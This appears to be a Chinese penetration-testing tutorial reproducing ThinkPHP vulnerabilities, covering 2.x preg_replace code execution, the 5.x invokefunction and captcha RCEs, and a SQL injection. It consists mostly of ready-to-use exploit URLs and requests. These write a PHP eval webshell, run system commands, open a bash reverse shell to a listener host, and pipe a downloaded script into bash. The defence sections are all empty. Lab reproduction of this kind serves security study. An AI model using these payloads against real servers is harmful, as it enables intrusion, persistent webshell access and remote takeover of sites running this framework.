目录

Thinkphp简介  Thinkphp本地安装  Thinkphp本地复现验证poc写入一句话  Vulhub-Thinkphp复现  Thinkphp 2.x 任意代码执行漏洞  Thinkphp5-5.0.22/5.1.29远程执行代码漏洞  Thinkphp5.0.23远程代码执行漏洞  Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞  Thinkphp自动化武器  Thinkphp综合利用工具

Thinkphp简介

1 安装vc9_x86(必装)

2安装phpstudy20161103

Thinkphp本地复现

验证poc

http://192.168.8.89/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arra
y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

写入一句话

<?php eval($_POST['zcc']);?>

http://192.168.8.89/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

Vulhub-Thinkphp复现

Thinkphp 2.x 任意代码执行漏洞

漏洞简介

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

preg_replace('正则规则','替换字符','目标字符')

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式，此为PHP专有参数，例如preg_replace函数。

影响版本

ThinkPHP 2.x

漏洞复现

sudo docker-compose up -d

验证漏洞

http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}或者http://192.168.9.234:8080/index.php?s=/index/index/name/$%[email protected]()%7D

http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

1=system("id");

bash -i >& /dev/tcp/192.168.10.65/8888 0>&1python -m SimpleHTTPServer 80

1=system("curl 192.168.10.65/zcc.sh | bash");

安全防护

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞

漏洞简介

影响版本

ThinkPHP 5.0.x < 5.0.23ThinkPHP 5.1.x < 5.1.31

漏洞复现

验证漏洞

http://192.168.8.63:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

<?php eval($_POST[zcc]);?>  #需要进行url编码

http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

安全防护

Thinkphp5.0.23远程代码执行漏洞

漏洞简介

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

验证漏洞

POST /index.php?s=captcha HTTP/1.1Host: 192.168.8.63:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

curl 192.168.10.65/zcc.sh | bash

安全防护

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

漏洞简介

影响版本

ThinkPHP < 5.1.23

漏洞复现

验证漏洞

http://192.168.10.65/index.php?ids[]=1&ids[]=2

http://192.168.10.65/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

安全防护

Thinkphp自动化武器

Thinkphp综合利用工具

thinkPHPBatchPoc群扫

TPscan

AttackWebFrameworkTools

好文推荐